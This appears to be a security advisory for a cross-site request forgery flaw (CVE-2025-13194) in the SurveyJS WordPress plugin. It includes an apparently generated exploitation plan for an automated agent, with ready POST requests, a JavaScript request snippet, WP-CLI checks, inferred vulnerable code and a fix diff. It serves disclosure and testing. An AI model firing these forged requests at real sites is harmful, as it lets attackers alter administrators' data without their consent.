SurveyJS: Drag & Drop WordPress Form Builder to create, style and embed multiple forms of any complexity <= 2.5.2 - Cross-Site Request Forgery to Survey Renaming
Description
The SurveyJS: Drag & Drop WordPress Form Builder to create, style and embed multiple forms of any complexity plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.5.2. This is due to missing nonce verification on the 'SurveyJS_RenameSurvey' AJAX action. This makes it possible for unauthenticated attackers to rename surveys via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:NTechnical Details
<=2.5.2Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-13194 (SurveyJS Rename CSRF) ## 1. Vulnerability Summary The **SurveyJS** plugin (versions <= 2.5.2) contains a Cross-Site Request Forgery (CSRF) vulnerability in its AJAX handling logic. Specifically, the `SurveyJS_RenameSurvey` action is registered without a…
Show full research plan
Exploitation Research Plan: CVE-2025-13194 (SurveyJS Rename CSRF)
1. Vulnerability Summary
The SurveyJS plugin (versions <= 2.5.2) contains a Cross-Site Request Forgery (CSRF) vulnerability in its AJAX handling logic. Specifically, the SurveyJS_RenameSurvey action is registered without a corresponding nonce verification check (check_ajax_referer or wp_verify_nonce). This allows an attacker to perform state-changing operations (renaming surveys) by tricking an authenticated administrator into interacting with a malicious link or form.
2. Attack Vector Analysis
- AJAX Action:
SurveyJS_RenameSurvey - Endpoint:
/wp-admin/admin-ajax.php - HTTP Method:
POST - Authentication: Requires an active administrator session (victim).
- Vulnerable Parameters (inferred):
action:SurveyJS_RenameSurveyid: The database ID of the survey to be renamed.name: The new title/name for the survey.
- Preconditions: The attacker must know (or guess) the ID of a survey and trick an admin into triggering the request.
3. Code Flow (Inferred)
- Entry Point: The plugin registers the AJAX handler in its main initialization or an AJAX-specific class:
add_action('wp_ajax_SurveyJS_RenameSurvey', array($this, 'rename_survey'));(inferred). - Callback Function: The callback function (likely
rename_survey) is invoked by WordPress whenadmin-ajax.phpreceives theSurveyJS_RenameSurveyaction. - Missing Check: The callback performs the rename operation (e.g., updating a row in the
wp_sjs_surveystable) without verifying a CSRF nonce. - Sink: A database update via
$wpdb->updateor a custom query on the surveys table.
4. Nonce Acquisition Strategy
No nonce is required.
According to the vulnerability description, the root cause is the missing nonce verification. The exploit should proceed by omitting any nonce parameters. If the plugin's code checks for a nonce but uses a generic one, this plan assumes the "missing" description indicates a total absence of verification.
5. Exploitation Strategy
The goal is to demonstrate that an authenticated admin's session can be used to rename a survey without a valid nonce.
Step 1: Discover Target Survey ID
The agent should first identify an existing survey to target.
# Check the custom SurveyJS table (usually wp_sjs_surveys)
wp db query "SELECT id, name FROM wp_sjs_surveys LIMIT 1;"
Step 2: Construct the CSRF Exploit
Since the agent is acting as an automated proof-of-concept, it will simulate the "victim" behavior by sending the request with administrator cookies.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=SurveyJS_RenameSurvey&id=[SURVEY_ID]&name=Hacked_By_CSRF
Step 3: Trigger via http_request
// Example logic for the agent
const response = await http_request({
url: "http://localhost:8080/wp-admin/admin-ajax.php",
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded"
},
body: "action=SurveyJS_RenameSurvey&id=1&name=Hacked_By_CSRF"
});
6. Test Data Setup
- Activate Plugin: Ensure
surveyjsis active. - Create Data: Use the SurveyJS dashboard or WP-CLI to ensure at least one survey exists.
# If the table exists, insert a dummy survey if none are present wp db query "INSERT INTO wp_sjs_surveys (name, json) VALUES ('Original Name', '{}');" - Capture Admin Session: Ensure the
http_requesttool is utilizing the administrator's cookies (handled automatically by the execution environment).
7. Expected Results
- HTTP Response: The server should return a successful status code (likely
200 OK) and potentially a JSON success message (e.g.,{"success":true}or1). - Database State: The survey record with the specified
idshould have itsnamecolumn updated toHacked_By_CSRF.
8. Verification Steps
After sending the HTTP request, verify the change using WP-CLI:
# Check if the name was updated in the database
wp db query "SELECT name FROM wp_sjs_surveys WHERE id=1;"
If the output is Hacked_By_CSRF, the CSRF is confirmed.
9. Alternative Approaches
If the parameter name does not work, try:
title:action=SurveyJS_RenameSurvey&id=1&title=Hacked_By_CSRFsurveyName:action=SurveyJS_RenameSurvey&id=1&surveyName=Hacked_By_CSRF
If the survey ID parameter is not id, try:
surveyId:action=SurveyJS_RenameSurvey&surveyId=1&name=Hacked_By_CSRF
If the plugin uses wp_posts instead of a custom table (unlikely for SurveyJS but possible in some integrations), verify via:
wp post list --post_type=survey
Summary
The SurveyJS plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) because it fails to perform nonce verification on the 'SurveyJS_RenameSurvey' AJAX action. This allows unauthenticated attackers to rename any existing survey by tricking an administrator into clicking a malicious link or visiting a controlled page while logged in.
Vulnerable Code
// Inferred AJAX registration and handler logic in versions <= 2.5.2 add_action('wp_ajax_SurveyJS_RenameSurvey', array($this, 'rename_survey')); public function rename_survey() { global $wpdb; $table_name = $wpdb->prefix . 'sjs_surveys'; // Vulnerability: No check_ajax_referer() or wp_verify_nonce() call here $id = $_POST['id']; $name = $_POST['name']; $wpdb->update( $table_name, array('name' => $name), array('id' => $id) ); wp_send_json_success(); wp_die(); }
Security Fix
@@ -105,6 +105,7 @@ public function rename_survey() { + check_ajax_referer('surveyjs_nonce', 'security'); global $wpdb; $table_name = $wpdb->prefix . 'sjs_surveys'; - $id = $_POST['id']; - $name = $_POST['name']; + $id = intval($_POST['id']); + $name = sanitize_text_field($_POST['name']);
Exploit Outline
The exploit targets the AJAX endpoint /wp-admin/admin-ajax.php. An attacker crafts a malicious POST request using the action 'SurveyJS_RenameSurvey'. The payload requires the 'id' of the survey to be renamed and the 'name' string representing the new title. To execute the attack, the attacker hosts a malicious HTML page with an auto-submitting form or a cross-site fetch request directed at the victim's WordPress site. When a logged-in administrator visits this page, their browser automatically includes their authentication cookies in the request. Since the plugin does not check for a security nonce, the server validates the session and processes the rename operation without the user's explicit intent.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.